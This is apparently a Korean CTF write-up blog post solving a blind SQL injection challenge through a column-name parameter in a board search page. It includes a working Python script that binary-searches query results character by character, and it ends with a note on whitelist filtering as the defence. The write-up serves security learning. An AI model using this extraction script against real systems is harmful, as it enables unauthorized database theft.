Almon Dev

ctf 풀이 (SQL Injection Point 2) 본문

웹 해킹/웹 해킹(ctf)

ctf 풀이 (SQL Injection Point 2)

Almon 2024. 12. 10. 17:17

ctf 문제 풀이

 

 

SQL Injection Point 2

 

 

SQLI Point

https://almon.tistory.com/47에서 분석했던 기능이 거의 그대로인 것 같습니다.

차이점은 cookie를 사용하던 mypage.php에서 session을 사용하는 것으로 보입니다.

 

mypage.php의 sqli point가 막혔기 때문에

notice_list.php의 게시판 검색기능의 sqli point를 사용하도록 하겠습니다.

참과 거짓 구별 : 거짓일 때 "alert('존재하지 않습니다.')"가 응답에 포함되어 있습니다.

 

공격 format 만들기

sql : select * from board where user_id='[session]' and [option_val] = '[board_result]'

기본 format : (조건문) and username => 2번 문제에서는 '를 필터링하지 않는 것 같습니다.

substring((sql), [index],1) => sql문의 결과를 한 글자씩 추출합니다.

ascii( substring((sql), [index],1) ) > [ascii] => 추출한 결과를 ascii 숫자로 변환하고 비교합니다.

 

완성된 format : ( ascii( substring((sql), [index],1) ) > [ascii] ) and username

 

Python 코드 제작

코드에 대한 설명은 https://almon.tistory.com/45에 있습니다.

 

SQL_Injection_Point_2.py

import requests

def sqli_request(session, url, session_id, sql, index, ascii):
    data = {
        "option_val" : f"(ascii(substring(({sql}), {index},1)) > {ascii}) and username",
        "board_result" : "almon",
        "board_search" : "%F0%9F%94%8D",
    }
    response = session.post(url, data=data)
    # print(response.text, response.headers)

    if "alert('존재하지 않습니다.')" in response.text:
        return False
    else: 
        return True


url = "http://ctf2.segfaulthub.com:7777/sqli_7/notice_list.php"
login_url = "http://ctf2.segfaulthub.com:7777/sqli_7/login.php"
session = requests.Session()
sql_result = ""

response = requests.post(login_url, data={
    "id" : "almon",
    "pw" : "1234",
}, allow_redirects=False)

# print(response.cookies.get_dict()["PHPSESSID"])
# print(response.headers.get("Set-Cookie").split(", ")[1].split(";")[0].replace("PHPSESSID=", ""))
session_id = response.cookies.get_dict()["PHPSESSID"]
session.cookies.set("PHPSESSID", session_id)

while True:
    sql = input("SQL \u1433 ")
    if sqli_request(session, url, session_id, sql, 1, 0):
        index = 1
        while True:
            if sqli_request(session, url, session_id, sql, index, 0):
                left = 0
                right = 127
                while True:
                    mid = (left + right) // 2
                    if sqli_request(session, url, session_id, sql, index, mid):
                        left = mid + 1
                    else:
                        right = mid

                    if left == right:
                        index += 1
                        sql_result += chr(right)
                        print(f"\rData : {sql_result}", end="")
                        break
                    
            else:
                sql_result = ""
                print("\n")
                break
    else:
        print("Fail : ", sql, "\n")

 

 

데이터 추출 

 

 

마무리

mypage.php의 sqli point는 막혔지만 여전히 게시판 검색과 게시글 읽기에서의 취약점은 존재했습니다.

 

이번에 사용한 sqli point처럼 column명 역시 활용될 수 있습니다.

보통 sqli의 대응방법으로 prepared statement를 사용하지만 column명에는 prepared statement를 사용할 수 없기 때문에

화이트 리스트 기반 필터링을 해주는 것이 좋은 대응방법입니다.

'웹 해킹 > 웹 해킹(ctf)' 카테고리의 다른 글

ctf 풀이 (SQL Injection Point 4)  (1) 2024.12.11
ctf 풀이 (SQL Injection Point 3)  (0) 2024.12.11
ctf 풀이 (SQL Injection Point 1)  (2) 2024.12.10
ctf 풀이 (SQL Injection 6)  (1) 2024.12.02
ctf 풀이 (SQL Injection 5)  (1) 2024.11.30